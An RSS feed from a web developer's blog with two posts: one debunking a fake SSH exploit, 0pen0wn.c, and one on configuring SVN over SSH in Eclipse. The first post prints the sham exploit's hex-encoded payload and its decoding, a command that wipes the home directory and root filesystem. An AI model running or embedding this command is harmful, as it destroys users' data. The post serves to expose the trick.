<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Development and stuff... &#187; SSH</title>
	<atom:link href="http://lenss.nl/tag/ssh/feed/" rel="self" type="application/rss+xml" />
	<link>http://lenss.nl</link>
	<description>Thijs Lensselink - Web Developer</description>
	<lastBuildDate>Mon, 06 Sep 2010 21:16:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>0pen0wn.c what a joke</title>
		<link>http://lenss.nl/2009/07/0pen0wn-c-what-a-joke/</link>
		<comments>http://lenss.nl/2009/07/0pen0wn-c-what-a-joke/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 12:07:45 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hex]]></category>
		<category><![CDATA[joke]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=500</guid>
		<description><![CDATA[So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you [...]]]></description>
			<content:encoded><![CDATA[<p>So there have been a lot of <a href="http://seclists.org/fulldisclosure/2009/Jul/0028.html">rumors</a> lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of <a href="http://blogs.securiteam.com/index.php/archives/1302">code</a> is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.</p>
<p>there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.</p>
<blockquote><p>\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f<br />
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26</p></blockquote>
<p>When decoded back to ASCII characters. This reads:</p>
<blockquote><p>rm -rf ~ /* 2> /dev/null &#038;</p></blockquote>
<p>The code used for the decoding is a simple PHP script:</p>
<pre name="code" class="php">
foreach (explode('\x', $str) as $char) echo chr(hexdec($char);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2009/07/0pen0wn-c-what-a-joke/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SVN over SSH in Zend Studio for Eclipse</title>
		<link>http://lenss.nl/2008/08/svn-over-ssh-in-zend-studio-for-eclipse/</link>
		<comments>http://lenss.nl/2008/08/svn-over-ssh-in-zend-studio-for-eclipse/#comments</comments>
		<pubDate>Thu, 21 Aug 2008 09:13:18 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[subclipse]]></category>
		<category><![CDATA[SVN]]></category>
		<category><![CDATA[tortoise]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://lenss.nl/blog/?p=123</guid>
		<description><![CDATA[This should be pretty damn straight forward. However i ran into some problems while setting this up. At my daily work spot we use SVN over HTTP so we can do NTLM authentication. This sucks in many ways. But most of all it&#8217;s slow. And i mean really slow. Last week i tried to retrieve [...]]]></description>
			<content:encoded><![CDATA[<p>This should be pretty damn straight forward. However i ran into some problems while setting this up. At my daily work spot we use <a href="http://subversion.tigris.org/">SVN</a> over <a href="http://nl.wikipedia.org/wiki/Hypertext_Transfer_Protocol">HTTP</a> so we can do <a href="http://en.wikipedia.org/wiki/NTLM">NTLM</a> authentication. This sucks in many ways. But most of all it&#8217;s slow. And i mean really slow. Last week i tried to retrieve the log information for a project in the repository. This took my IDE 30 minutes. At first i thought my IDE was just being lame on me. But it turns out it&#8217;s SVN over HTTP that&#8217;s the culprit. </p>
<p>So i started to do some testing over the standard svn:// protocol. And retrieving the logs on the same repository took about 2 seconds. Amazing. That&#8217;s enough reason to switch to the svn:// protocol. This however was not possible. Because our network policy doesn&#8217;t allow for multiple log ins. All is centrally stored on some M$ domain controllers. That&#8217;s why SVN over HTTP was used in the first place. End of story i thought. </p>
<p>But i couldn&#8217;t let go of this. The situation becomes less workable every day. So i decided to look around for other options. When i notice some log ins were merged to the *nix boxes. i immediately thought about using SSH in combination with SVN. Logging in on the *nix box was no problem. So let&#8217;s try that with SVN.</p>
<blockquote><p>svn+ssh://location/of/repo</p></blockquote>
<p>This gives an error about a mismatched handshake. And i just couldn&#8217;t get this to work until i found a post made by <a href="http://www.woodwardweb.com/java/000155.html">Martin Woodward</a>. He explains how to setup an environment variable on my local windows machine. To the tortoise PLink executable.</p>
<blockquote><p>Set the environment variable (by right-clicking on My Computer, Properties, Advanced, Environment Variables, New):-<br />
Variable name: SVN_SSH<br />
Variable value: C:\\Program Files\\TortoiseSVN\\bin\\TortoisePlink.exe</p></blockquote>
<p>This seemed to work i thought. i was presented with a login box. But no matter how i tried i couldn&#8217;t login. It just kept giving me the login box. So i opened a SSH session to the server and tried to do the same from there.</p>
<blockquote><p>svn list svn+ssh://location/of/repo</p></blockquote>
<p>After hitting enter i typed my password and got the following message.</p>
<blockquote><p>bash: line 1: svnserve: command not found<br />
svn: Connection closed unexpectedly</p></blockquote>
<p>Now we&#8217;re getting somewhere. So svnserve could not be found. Probably because it&#8217;s not in the $PATH variable. So let&#8217;s add it there.</p>
<blockquote><p>vi .bashrc<br />
PATH=$PATH:/usr/local/bin</p></blockquote>
<p>So let&#8217;s try to get a listing of the repo.</p>
<blockquote><p>svn list svn+ssh://location/of/repo</p></blockquote>
<p>This gave me the following message:</p>
<blockquote><p>svn: No repository found in &#8216;svn+ssh://location/of/repo&#8217;</p></blockquote>
<p>Seems that when you use SVN over SSH you need to give the full location to the repository. Not the web server path but the complete file system path. After changing the webserver path for the file system path everything worked out. From here on adding the repository to eclipse is easy.<br />
I always open the repository view. From there i right click > New > repository Location. The URL to add will look something like</p>
<blockquote><p>svn+ssh://file/system/location/of/repository</p></blockquote>
<p>So now we can enjoy the speed of the svn:// protocol. And the security of SSH. So let&#8217;s do some coding <img src='http://lenss.nl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2008/08/svn-over-ssh-in-zend-studio-for-eclipse/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
